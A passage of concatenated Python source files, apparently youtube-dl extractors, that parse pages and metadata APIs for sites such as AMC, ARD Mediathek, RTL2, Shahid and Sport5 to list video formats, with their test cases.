            'description': video_data.get('description'),
            'timestamp': parse_iso8601(video_data.get('date')),
            'duration': parse_duration(video_data.get('duration')),
            'thumbnails': thumbnails,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import ExtractorError


class TinyPicIE(InfoExtractor):
    IE_NAME = 'tinypic'
    IE_DESC = 'tinypic.com videos'
    _VALID_URL = r'https?://(?:.+?\.)?tinypic\.com/player\.php\?v=(?P<id>[^&]+)&s=\d+'

    _TESTS = [
        {
            'url': 'http://tinypic.com/player.php?v=6xw7tc%3E&s=5#.UtqZmbRFCM8',
            'md5': '609b74432465364e72727ebc6203f044',
            'info_dict': {
                'id': '6xw7tc',
                'ext': 'flv',
                'title': 'shadow phenomenon weird',
            },
        },
        {
            'url': 'http://de.tinypic.com/player.php?v=dy90yh&s=8',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id, 'Downloading page')

        mobj = re.search(r'(?m)fo\.addVariable\("file",\s"(?P<fileid>[\da-z]+)"\);\n'
                         '\s+fo\.addVariable\("s",\s"(?P<serverid>\d+)"\);', webpage)
        if mobj is None:
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        file_id = mobj.group('fileid')
        server_id = mobj.group('serverid')

        KEYWORDS_SUFFIX = ', Video, images, photos, videos, myspace, ebay, video hosting, photo hosting'
        keywords = self._html_search_meta('keywords', webpage, 'title')
        title = keywords[:-len(KEYWORDS_SUFFIX)] if keywords.endswith(KEYWORDS_SUFFIX) else ''

        video_url = 'http://v%s.tinypic.com/%s.flv' % (server_id, file_id)
        thumbnail = 'http://v%s.tinypic.com/%s_th.jpg' % (server_id, file_id)

        return {
            'id': file_id,
            'url': video_url,
            'thumbnail': thumbnail,
            'title': title
        }






# coding: utf-8
from __future__ import unicode_literals

from .theplatform import ThePlatformIE
from ..utils import (
    update_url_query,
    parse_age_limit,
    int_or_none,
)


class AMCNetworksIE(ThePlatformIE):
    _VALID_URL = r'https?://(?:www\.)?(?:amc|bbcamerica|ifc|wetv)\.com/(?:movies/|shows/[^/]+/(?:full-episodes/)?season-\d+/episode-\d+(?:-(?:[^/]+/)?|/))(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'http://www.ifc.com/shows/maron/season-04/episode-01/step-1',
        'md5': '',
        'info_dict': {
            'id': 's3MX01Nl4vPH',
            'ext': 'mp4',
            'title': 'Maron - Season 4 - Step 1',
            'description': 'In denial about his current situation, Marc is reluctantly convinced by his friends to enter rehab. Starring Marc Maron and Constance Zimmer.',
            'age_limit': 17,
            'upload_date': '20160505',
            'timestamp': 1462468831,
            'uploader': 'AMCN',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.bbcamerica.com/shows/the-hunt/full-episodes/season-1/episode-01-the-hardest-challenge',
        'only_matching': True,
    }, {
        'url': 'http://www.amc.com/shows/preacher/full-episodes/season-01/episode-00/pilot',
        'only_matching': True,
    }, {
        'url': 'http://www.wetv.com/shows/million-dollar-matchmaker/season-01/episode-06-the-dumped-dj-and-shallow-hal',
        'only_matching': True,
    }, {
        'url': 'http://www.ifc.com/movies/chaos',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        query = {
            'mbr': 'true',
            'manifest': 'm3u',
        }
        media_url = self._search_regex(r'window\.platformLinkURL\s*=\s*[\'"]([^\'"]+)', webpage, 'media url')
        theplatform_metadata = self._download_theplatform_metadata(self._search_regex(
            r'https?://link.theplatform.com/s/([^?]+)', media_url, 'theplatform_path'), display_id)
        info = self._parse_theplatform_metadata(theplatform_metadata)
        video_id = theplatform_metadata['pid']
        title = theplatform_metadata['title']
        rating = theplatform_metadata['ratings'][0]['rating']
        auth_required = self._search_regex(r'window\.authRequired\s*=\s*(true|false);', webpage, 'auth required')
        if auth_required == 'true':
            requestor_id = self._search_regex(r'window\.requestor_id\s*=\s*[\'"]([^\'"]+)', webpage, 'requestor id')
            resource = self._get_mvpd_resource(requestor_id, title, video_id, rating)
            query['auth'] = self._extract_mvpd_auth(url, video_id, requestor_id, resource)
        media_url = update_url_query(media_url, query)
        formats, subtitles = self._extract_theplatform_smil(media_url, video_id)
        self._sort_formats(formats)
        info.update({
            'id': video_id,
            'subtitles': subtitles,
            'formats': formats,
            'age_limit': parse_age_limit(parse_age_limit(rating)),
        })
        ns_keys = theplatform_metadata.get('$xmlns', {}).keys()
        if ns_keys:
            ns = list(ns_keys)[0]
            series = theplatform_metadata.get(ns + '$show')
            season_number = int_or_none(theplatform_metadata.get(ns + '$season'))
            episode = theplatform_metadata.get(ns + '$episodeTitle')
            episode_number = int_or_none(theplatform_metadata.get(ns + '$episode'))
            if season_number:
                title = 'Season %d - %s' % (season_number, title)
            if series:
                title = '%s - %s' % (series, title)
            info.update({
                'title': title,
                'series': series,
                'season_number': season_number,
                'episode': episode,
                'episode_number': episode_number,
            })
        return info






# encoding: utf-8
from __future__ import unicode_literals

import re
from .common import InfoExtractor


class RTL2IE(InfoExtractor):
    _VALID_URL = r'http?://(?:www\.)?rtl2\.de/[^?#]*?/(?P<id>[^?#/]*?)(?:$|/(?:$|[?#]))'
    _TESTS = [{
        'url': 'http://www.rtl2.de/sendung/grip-das-motormagazin/folge/folge-203-0',
        'info_dict': {
            'id': 'folge-203-0',
            'ext': 'f4v',
            'title': 'GRIP sucht den Sommerkönig',
            'description': 'Matthias, Det und Helge treten gegeneinander an.'
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.rtl2.de/sendung/koeln-50667/video/5512-anna/21040-anna-erwischt-alex/',
        'info_dict': {
            'id': '21040-anna-erwischt-alex',
            'ext': 'mp4',
            'title': 'Anna erwischt Alex!',
            'description': 'Anna ist Alex\' Tochter bei Köln 50667.'
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        # Some rtl2 urls have no slash at the end, so append it.
        if not url.endswith('/'):
            url += '/'

        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        mobj = re.search(
            r'<div[^>]+data-collection="(?P<vico_id>\d+)"[^>]+data-video="(?P<vivi_id>\d+)"',
            webpage)
        if mobj:
            vico_id = mobj.group('vico_id')
            vivi_id = mobj.group('vivi_id')
        else:
            vico_id = self._html_search_regex(
                r'vico_id\s*:\s*([0-9]+)', webpage, 'vico_id')
            vivi_id = self._html_search_regex(
                r'vivi_id\s*:\s*([0-9]+)', webpage, 'vivi_id')
        info_url = 'http://www.rtl2.de/video/php/get_video.php?vico_id=' + vico_id + '&vivi_id=' + vivi_id

        info = self._download_json(info_url, video_id)
        video_info = info['video']
        title = video_info['titel']
        description = video_info.get('beschreibung')
        thumbnail = video_info.get('image')

        download_url = video_info['streamurl']
        download_url = download_url.replace('\\', '')
        stream_url = 'mp4:' + self._html_search_regex(r'ondemand/(.*)', download_url, 'stream URL')
        rtmp_conn = ['S:connect', 'O:1', 'NS:pageUrl:' + url, 'NB:fpad:0', 'NN:videoFunction:1', 'O:0']

        formats = [{
            'url': download_url,
            'play_path': stream_url,
            'player_url': 'http://www.rtl2.de/flashplayer/vipo_player.swf',
            'page_url': url,
            'flash_version': 'LNX 11,2,202,429',
            'rtmp_conn': rtmp_conn,
            'no_resume': True,
        }]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'description': description,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class AftonbladetIE(InfoExtractor):
    _VALID_URL = r'https?://tv\.aftonbladet\.se/abtv/articles/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://tv.aftonbladet.se/abtv/articles/36015',
        'info_dict': {
            'id': '36015',
            'ext': 'mp4',
            'title': 'Vulkanutbrott i rymden - nu släpper NASA bilderna',
            'description': 'Jupiters måne mest aktiv av alla himlakroppar',
            'timestamp': 1394142732,
            'upload_date': '20140306',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        # find internal video meta data
        meta_url = 'http://aftonbladet-play-metadata.cdn.drvideo.aptoma.no/video/%s.json'
        player_config = self._parse_json(self._html_search_regex(
            r'data-player-config="([^"]+)"', webpage, 'player config'), video_id)
        internal_meta_id = player_config['aptomaVideoId']
        internal_meta_url = meta_url % internal_meta_id
        internal_meta_json = self._download_json(
            internal_meta_url, video_id, 'Downloading video meta data')

        # find internal video formats
        format_url = 'http://aftonbladet-play.videodata.drvideo.aptoma.no/actions/video/?id=%s'
        internal_video_id = internal_meta_json['videoId']
        internal_formats_url = format_url % internal_video_id
        internal_formats_json = self._download_json(
            internal_formats_url, video_id, 'Downloading video formats')

        formats = []
        for fmt in internal_formats_json['formats']['http']['pseudostreaming']['mp4']:
            p = fmt['paths'][0]
            formats.append({
                'url': 'http://%s:%d/%s/%s' % (p['address'], p['port'], p['path'], p['filename']),
                'ext': 'mp4',
                'width': int_or_none(fmt.get('width')),
                'height': int_or_none(fmt.get('height')),
                'tbr': int_or_none(fmt.get('bitrate')),
                'protocol': 'http',
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': internal_meta_json['title'],
            'formats': formats,
            'thumbnail': internal_meta_json.get('imageUrl'),
            'description': internal_meta_json.get('shortPreamble'),
            'timestamp': int_or_none(internal_meta_json.get('timePublished')),
            'duration': int_or_none(internal_meta_json.get('duration')),
            'view_count': int_or_none(internal_meta_json.get('views')),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_iso8601,
    str_or_none,
)


class ShahidIE(InfoExtractor):
    _VALID_URL = r'https?://shahid\.mbc\.net/ar/episode/(?P<id>\d+)/?'
    _TESTS = [{
        'url': 'https://shahid.mbc.net/ar/episode/90574/%D8%A7%D9%84%D9%85%D9%84%D9%83-%D8%B9%D8%A8%D8%AF%D8%A7%D9%84%D9%84%D9%87-%D8%A7%D9%84%D8%A5%D9%86%D8%B3%D8%A7%D9%86-%D8%A7%D9%84%D9%85%D9%88%D8%B3%D9%85-1-%D9%83%D9%84%D9%8A%D8%A8-3.html',
        'info_dict': {
            'id': '90574',
            'ext': 'mp4',
            'title': 'الملك عبدالله الإنسان الموسم 1 كليب 3',
            'description': 'الفيلم الوثائقي - الملك عبد الله الإنسان',
            'duration': 2972,
            'timestamp': 1422057420,
            'upload_date': '20150123',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        # shahid plus subscriber only
        'url': 'https://shahid.mbc.net/ar/episode/90511/%D9%85%D8%B1%D8%A7%D9%8A%D8%A7-2011-%D8%A7%D9%84%D9%85%D9%88%D8%B3%D9%85-1-%D8%A7%D9%84%D8%AD%D9%84%D9%82%D8%A9-1.html',
        'only_matching': True
    }]

    def _call_api(self, path, video_id, note):
        data = self._download_json(
            'http://api.shahid.net/api/v1_1/' + path, video_id, note, query={
                'apiKey': 'sh@hid0nlin3',
                'hash': 'b2wMCTHpSmyxGqQjJFOycRmLSex+BpTK/ooxy6vHaqs=',
            }).get('data', {})

        error = data.get('error')
        if error:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, '\n'.join(error.values())),
                expected=True)

        return data

    def _real_extract(self, url):
        video_id = self._match_id(url)

        player = self._call_api(
            'Content/Episode/%s' % video_id,
            video_id, 'Downloading player JSON')

        if player.get('drm'):
            raise ExtractorError('This video is DRM protected.', expected=True)

        formats = self._extract_m3u8_formats(player['url'], video_id, 'mp4')
        self._sort_formats(formats)

        video = self._call_api(
            'episode/%s' % video_id, video_id,
            'Downloading video JSON')['episode']

        title = video['title']
        categories = [
            category['name']
            for category in video.get('genres', []) if 'name' in category]

        return {
            'id': video_id,
            'title': title,
            'description': video.get('description'),
            'thumbnail': video.get('thumbnailUrl'),
            'duration': int_or_none(video.get('duration')),
            'timestamp': parse_iso8601(video.get('referenceDate')),
            'categories': categories,
            'series': video.get('showTitle') or video.get('showName'),
            'season': video.get('seasonTitle'),
            'season_number': int_or_none(video.get('seasonNumber')),
            'season_id': str_or_none(video.get('seasonId')),
            'episode_number': int_or_none(video.get('number')),
            'episode_id': video_id,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .generic import GenericIE
from ..utils import (
    determine_ext,
    ExtractorError,
    qualities,
    int_or_none,
    parse_duration,
    unified_strdate,
    xpath_text,
    update_url_query,
)
from ..compat import compat_etree_fromstring


class ARDMediathekIE(InfoExtractor):
    IE_NAME = 'ARD:mediathek'
    _VALID_URL = r'^https?://(?:(?:www\.)?ardmediathek\.de|mediathek\.(?:daserste|rbb-online)\.de)/(?:.*/)(?P<video_id>[0-9]+|[^0-9][^/\?]+)[^/\?]*(?:\?.*)?'

    _TESTS = [{
        'url': 'http://www.ardmediathek.de/tv/Dokumentation-und-Reportage/Ich-liebe-das-Leben-trotzdem/rbb-Fernsehen/Video?documentId=29582122&bcastId=3822114',
        'info_dict': {
            'id': '29582122',
            'ext': 'mp4',
            'title': 'Ich liebe das Leben trotzdem',
            'description': 'md5:45e4c225c72b27993314b31a84a5261c',
            'duration': 4557,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'skip': 'HTTP Error 404: Not Found',
    }, {
        'url': 'http://www.ardmediathek.de/tv/Tatort/Tatort-Scheinwelten-H%C3%B6rfassung-Video/Das-Erste/Video?documentId=29522730&bcastId=602916',
        'md5': 'f4d98b10759ac06c0072bbcd1f0b9e3e',
        'info_dict': {
            'id': '29522730',
            'ext': 'mp4',
            'title': 'Tatort: Scheinwelten - Hörfassung (Video tgl. ab 20 Uhr)',
            'description': 'md5:196392e79876d0ac94c94e8cdb2875f1',
            'duration': 5252,
        },
        'skip': 'HTTP Error 404: Not Found',
    }, {
        # audio
        'url': 'http://www.ardmediathek.de/tv/WDR-H%C3%B6rspiel-Speicher/Tod-eines-Fu%C3%9Fballers/WDR-3/Audio-Podcast?documentId=28488308&bcastId=23074086',
        'md5': '219d94d8980b4f538c7fcb0865eb7f2c',
        'info_dict': {
            'id': '28488308',
            'ext': 'mp3',
            'title': 'Tod eines Fußballers',
            'description': 'md5:f6e39f3461f0e1f54bfa48c8875c86ef',
            'duration': 3240,
        },
        'skip': 'HTTP Error 404: Not Found',
    }, {
        'url': 'http://mediathek.daserste.de/sendungen_a-z/328454_anne-will/22429276_vertrauen-ist-gut-spionieren-ist-besser-geht',
        'only_matching': True,
    }, {
        # audio
        'url': 'http://mediathek.rbb-online.de/radio/Hörspiel/Vor-dem-Fest/kulturradio/Audio?documentId=30796318&topRessort=radio&bcastId=9839158',
        'md5': '4e8f00631aac0395fee17368ac0e9867',
        'info_dict': {
            'id': '30796318',
            'ext': 'mp3',
            'title': 'Vor dem Fest',
            'description': 'md5:c0c1c8048514deaed2a73b3a60eecacb',
            'duration': 3287,
        },
        'skip': 'Video is no longer available',
    }]

    def _extract_media_info(self, media_info_url, webpage, video_id):
        media_info = self._download_json(
            media_info_url, video_id, 'Downloading media JSON')

        formats = self._extract_formats(media_info, video_id)

        if not formats:
            if '"fsk"' in webpage:
                raise ExtractorError(
                    'This video is only available after 20:00', expected=True)
            elif media_info.get('_geoblocked'):
                raise ExtractorError('This video is not available due to geo restriction', expected=True)

        self._sort_formats(formats)

        duration = int_or_none(media_info.get('_duration'))
        thumbnail = media_info.get('_previewImage')

        subtitles = {}
        subtitle_url = media_info.get('_subtitleUrl')
        if subtitle_url:
            subtitles['de'] = [{
                'ext': 'ttml',
                'url': subtitle_url,
            }]

        return {
            'id': video_id,
            'duration': duration,
            'thumbnail': thumbnail,
            'formats': formats,
            'subtitles': subtitles,
        }

    def _extract_formats(self, media_info, video_id):
        type_ = media_info.get('_type')
        media_array = media_info.get('_mediaArray', [])
        formats = []
        for num, media in enumerate(media_array):
            for stream in media.get('_mediaStreamArray', []):
                stream_urls = stream.get('_stream')
                if not stream_urls:
                    continue
                if not isinstance(stream_urls, list):
                    stream_urls = [stream_urls]
                quality = stream.get('_quality')
                server = stream.get('_server')
                for stream_url in stream_urls:
                    ext = determine_ext(stream_url)
                    if quality != 'auto' and ext in ('f4m', 'm3u8'):
                        continue
                    if ext == 'f4m':
                        formats.extend(self._extract_f4m_formats(
                            update_url_query(stream_url, {
                                'hdcore': '3.1.1',
                                'plugin': 'aasp-3.1.1.69.124'
                            }),
                            video_id, f4m_id='hds', fatal=False))
                    elif ext == 'm3u8':
                        formats.extend(self._extract_m3u8_formats(
                            stream_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
                    else:
                        if server and server.startswith('rtmp'):
                            f = {
                                'url': server,
                                'play_path': stream_url,
                                'format_id': 'a%s-rtmp-%s' % (num, quality),
                            }
                        elif stream_url.startswith('http'):
                            f = {
                                'url': stream_url,
                                'format_id': 'a%s-%s-%s' % (num, ext, quality)
                            }
                        else:
                            continue
                        m = re.search(r'_(?P<width>\d+)x(?P<height>\d+)\.mp4$', stream_url)
                        if m:
                            f.update({
                                'width': int(m.group('width')),
                                'height': int(m.group('height')),
                            })
                        if type_ == 'audio':
                            f['vcodec'] = 'none'
                        formats.append(f)
        return formats

    def _real_extract(self, url):
        # determine video id from url
        m = re.match(self._VALID_URL, url)

        numid = re.search(r'documentId=([0-9]+)', url)
        if numid:
            video_id = numid.group(1)
        else:
            video_id = m.group('video_id')

        webpage = self._download_webpage(url, video_id)

        if '>Der gewünschte Beitrag ist nicht mehr verfügbar.<' in webpage:
            raise ExtractorError('Video %s is no longer available' % video_id, expected=True)

        if 'Diese Sendung ist für Jugendliche unter 12 Jahren nicht geeignet. Der Clip ist deshalb nur von 20 bis 6 Uhr verfügbar.' in webpage:
            raise ExtractorError('This program is only suitable for those aged 12 and older. Video %s is therefore only available between 20 pm and 6 am.' % video_id, expected=True)

        if re.search(r'[\?&]rss($|[=&])', url):
            doc = compat_etree_fromstring(webpage.encode('utf-8'))
            if doc.tag == 'rss':
                return GenericIE()._extract_rss(url, video_id, doc)

        title = self._html_search_regex(
            [r'<h1(?:\s+class="boxTopHeadline")?>(.*?)</h1>',
             r'<meta name="dcterms.title" content="(.*?)"/>',
             r'<h4 class="headline">(.*?)</h4>'],
            webpage, 'title')
        description = self._html_search_meta(
            'dcterms.abstract', webpage, 'description', default=None)
        if description is None:
            description = self._html_search_meta(
                'description', webpage, 'meta description')

        # Thumbnail is sometimes not present.
        # It is in the mobile version, but that seems to use a different URL
        # structure altogether.
        thumbnail = self._og_search_thumbnail(webpage, default=None)

        media_streams = re.findall(r'''(?x)
            mediaCollection\.addMediaStream\([0-9]+,\s*[0-9]+,\s*"[^"]*",\s*
            "([^"]+)"''', webpage)

        if media_streams:
            QUALITIES = qualities(['lo', 'hi', 'hq'])
            formats = []
            for furl in set(media_streams):
                if furl.endswith('.f4m'):
                    fid = 'f4m'
                else:
                    fid_m = re.match(r'.*\.([^.]+)\.[^.]+$', furl)
                    fid = fid_m.group(1) if fid_m else None
                formats.append({
                    'quality': QUALITIES(fid),
                    'format_id': fid,
                    'url': furl,
                })
            self._sort_formats(formats)
            info = {
                'formats': formats,
            }
        else:  # request JSON file
            info = self._extract_media_info(
                'http://www.ardmediathek.de/play/media/%s' % video_id, webpage, video_id)

        info.update({
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        })

        return info


class ARDIE(InfoExtractor):
    _VALID_URL = '(?P<mainurl>https?://(www\.)?daserste\.de/[^?#]+/videos/(?P<display_id>[^/?#]+)-(?P<id>[0-9]+))\.html'
    _TEST = {
        'url': 'http://www.daserste.de/information/reportage-dokumentation/dokus/videos/die-story-im-ersten-mission-unter-falscher-flagge-100.html',
        'md5': 'd216c3a86493f9322545e045ddc3eb35',
        'info_dict': {
            'display_id': 'die-story-im-ersten-mission-unter-falscher-flagge',
            'id': '100',
            'ext': 'mp4',
            'duration': 2600,
            'title': 'Die Story im Ersten: Mission unter falscher Flagge',
            'upload_date': '20140804',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'skip': 'HTTP Error 404: Not Found',
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('display_id')

        player_url = mobj.group('mainurl') + '~playerXml.xml'
        doc = self._download_xml(player_url, display_id)
        video_node = doc.find('./video')
        upload_date = unified_strdate(xpath_text(
            video_node, './broadcastDate'))
        thumbnail = xpath_text(video_node, './/teaserImage//variant/url')

        formats = []
        for a in video_node.findall('.//asset'):
            f = {
                'format_id': a.attrib['type'],
                'width': int_or_none(a.find('./frameWidth').text),
                'height': int_or_none(a.find('./frameHeight').text),
                'vbr': int_or_none(a.find('./bitrateVideo').text),
                'abr': int_or_none(a.find('./bitrateAudio').text),
                'vcodec': a.find('./codecVideo').text,
                'tbr': int_or_none(a.find('./totalBitrate').text),
            }
            if a.find('./serverPrefix').text:
                f['url'] = a.find('./serverPrefix').text
                f['playpath'] = a.find('./fileName').text
            else:
                f['url'] = a.find('./fileName').text
            formats.append(f)
        self._sort_formats(formats)

        return {
            'id': mobj.group('id'),
            'formats': formats,
            'display_id': display_id,
            'title': video_node.find('./title').text,
            'duration': parse_duration(video_node.find('./duration').text),
            'upload_date': upload_date,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unescapeHTML,
)


class BildIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?bild\.de/(?:[^/]+/)+(?P<display_id>[^/]+)-(?P<id>\d+)(?:,auto=true)?\.bild\.html'
    IE_DESC = 'Bild.de'
    _TEST = {
        'url': 'http://www.bild.de/video/clip/apple-ipad-air/das-koennen-die-neuen-ipads-38184146.bild.html',
        'md5': 'dd495cbd99f2413502a1713a1156ac8a',
        'info_dict': {
            'id': '38184146',
            'ext': 'mp4',
            'title': 'Das können die  neuen iPads',
            'description': 'md5:a4058c4fa2a804ab59c00d7244bbf62f',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 196,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video_data = self._download_json(
            url.split('.bild.html')[0] + ',view=json.bild.html', video_id)

        return {
            'id': video_id,
            'title': unescapeHTML(video_data['title']).strip(),
            'description': unescapeHTML(video_data.get('description')),
            'url': video_data['clipList'][0]['srces'][0]['src'],
            'thumbnail': video_data.get('poster'),
            'duration': int_or_none(video_data.get('durationSec')),
        }






from __future__ import unicode_literals

from .zdf import ZDFIE


class PhoenixIE(ZDFIE):
    IE_NAME = 'phoenix.de'
    _VALID_URL = r'''(?x)https?://(?:www\.)?phoenix\.de/content/
        (?:
            phoenix/die_sendungen/(?:[^/]+/)?
        )?
        (?P<id>[0-9]+)'''
    _TESTS = [
        {
            'url': 'http://www.phoenix.de/content/884301',
            'md5': 'ed249f045256150c92e72dbb70eadec6',
            'info_dict': {
                'id': '884301',
                'ext': 'mp4',
                'title': 'Michael Krons mit Hans-Werner Sinn',
                'description': 'Im Dialog - Sa. 25.10.14, 00.00 - 00.35 Uhr',
                'upload_date': '20141025',
                'uploader': 'Im Dialog',
            }
        },
        {
            'url': 'http://www.phoenix.de/content/phoenix/die_sendungen/869815',
            'only_matching': True,
        },
        {
            'url': 'http://www.phoenix.de/content/phoenix/die_sendungen/diskussionen/928234',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        internal_id = self._search_regex(
            r'<div class="phx_vod" id="phx_vod_([0-9]+)"',
            webpage, 'internal video ID')

        api_url = 'http://www.phoenix.de/php/mediaplayer/data/beitrags_details.php?ak=web&id=%s' % internal_id
        return self.extract_from_xml_url(video_id, api_url)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    unified_strdate,
    xpath_text,
)


class CinchcastIE(InfoExtractor):
    _VALID_URL = r'https?://player\.cinchcast\.com/.*?assetId=(?P<id>[0-9]+)'
    _TEST = {
        # Actual test is run in generic, look for undergroundwellness
        'url': 'http://player.cinchcast.com/?platformId=1&#038;assetType=single&#038;assetId=7141703',
        'only_matching': True,
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        doc = self._download_xml(
            'http://www.blogtalkradio.com/playerasset/mrss?assetType=single&assetId=%s' % video_id,
            video_id)

        item = doc.find('.//item')
        title = xpath_text(item, './title', fatal=True)
        date_str = xpath_text(
            item, './{http://developer.longtailvideo.com/trac/}date')
        upload_date = unified_strdate(date_str, day_first=False)
        # duration is present but wrong
        formats = [{
            'format_id': 'main',
            'url': item.find('./{http://search.yahoo.com/mrss/}content').attrib['url'],
        }]
        backup_url = xpath_text(
            item, './{http://developer.longtailvideo.com/trac/}backupContent')
        if backup_url:
            formats.append({
                'preference': 2,  # seems to be more reliable
                'format_id': 'backup',
                'url': backup_url,
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'upload_date': upload_date,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import ExtractorError


class Sport5IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www|vod)?\.sport5\.co\.il/.*\b(?:Vi|docID)=(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://vod.sport5.co.il/?Vc=147&Vi=176331&Page=1',
            'info_dict': {
                'id': 's5-Y59xx1-GUh2',
                'ext': 'mp4',
                'title': 'ולנסיה-קורדובה 0:3',
                'description': 'אלקאסר, גאייה ופגולי סידרו לקבוצה של נונו ניצחון על קורדובה ואת המקום הראשון בליגה',
                'duration': 228,
                'categories': list,
            },
            'skip': 'Blocked outside of Israel',
        }, {
            'url': 'http://www.sport5.co.il/articles.aspx?FolderID=3075&docID=176372&lang=HE',
            'info_dict': {
                'id': 's5-SiXxx1-hKh2',
                'ext': 'mp4',
                'title': 'GOALS_CELTIC_270914.mp4',
                'description': '',
                'duration': 87,
                'categories': list,
            },
            'skip': 'Blocked outside of Israel',
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        media_id = mobj.group('id')

        webpage = self._download_webpage(url, media_id)

        video_id = self._html_search_regex('clipId=([\w-]+)', webpage, 'video id')

        metadata = self._download_xml(
            'http://sport5-metadata-rr-d.nsacdn.com/vod/vod/%s/HDS/metadata.xml' % video_id,
            video_id)

        error = metadata.find('./Error')
        if error is not None:
            raise ExtractorError(
                '%s returned error: %s - %s' % (
                    self.IE_NAME,
                    error.find('./Name').text,
                    error.find('./Description').text),
                expected=True)

        title = metadata.find('./Title').text
        description = metadata.find('./Description').text
        duration = int(metadata.find('./Duration').text)

        posters_el = metadata.find('./PosterLinks')
        thumbnails = [{
            'url': thumbnail.text,
            'width': int(thumbnail.get('width')),
            'height': int(thumbnail.get('height')),
        } for thumbnail in posters_el.findall('./PosterIMG')] if posters_el is not None else []

        categories_el = metadata.find('./Categories')
        categories = [
            cat.get('name') for cat in categories_el.findall('./Category')
        ] if categories_el is not None else []

        formats = [{
            'url': fmt.text,
            'ext': 'mp4',
            'vbr': int(fmt.get('bitrate')),
            'width': int(fmt.get('width')),
            'height': int(fmt.get('height')),
        } for fmt in metadata.findall('./PlaybackLinks/FileURL')]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'duration': duration,
            'categories': categories,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from .ooyala import OoyalaIE


class FusionIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?fusion\.net/video/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://fusion.net/video/201781/u-s-and-panamanian-forces-work-together-to-stop-a-vessel-smuggling-drugs/',
        'info_dict': {
            'id': 'ZpcWNoMTE6x6uVIIWYpHh0qQDjxBuq5P',
            'ext': 'mp4',
            'title': 'U.S. and Panamanian forces work together to stop a vessel smuggling drugs',
            'description': 'md5:0cc84a9943c064c0f46b128b41b1b0d7',
            'duration': 140.0,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['Ooyala'],
    }, {
        'url': 'http://fusion.net/video/201781',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        ooyala_code = self._search_regex(
            r'data-video-id=(["\'])(?P<code>.+?)\1',
            webpage, 'ooyala code', group='code')

        return OoyalaIE._build_url_result(ooyala_code)






# encoding: utf-8
from __future__ import unicode_literals

from .brightcove import (
    BrightcoveLegacyIE,
    BrightcoveNewIE,
)
from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    sanitized_Request,
)


class NownessBaseIE(InfoExtractor):
    def _extract_url_result(self, post):
        if post['type'] == 'video':
            for media in post['media']:
                if media['type'] == 'video':
                    video_id = media['content']
                    source = media['source']
                    if source == 'brightcove':
                        player_code = self._download_webpage(
                            'http://www.nowness.com/iframe?id=%s' % video_id, video_id,
                            note='Downloading player JavaScript',
                            errnote='Unable to download player JavaScript')
                        bc_url = BrightcoveLegacyIE._extract_brightcove_url(player_code)
                        if bc_url:
                            return self.url_result(bc_url, BrightcoveLegacyIE.ie_key())
                        bc_url = BrightcoveNewIE._extract_url(player_code)
                        if bc_url:
                            return self.url_result(bc_url, BrightcoveNewIE.ie_key())
                        raise ExtractorError('Could not find player definition')
                    elif source == 'vimeo':
                        return self.url_result('http://vimeo.com/%s' % video_id, 'Vimeo')
                    elif source == 'youtube':
                        return self.url_result(video_id, 'Youtube')
                    elif source == 'cinematique':
                        # youtube-dl currently doesn't support cinematique
                        # return self.url_result('http://cinematique.com/embed/%s' % video_id, 'Cinematique')
                        pass

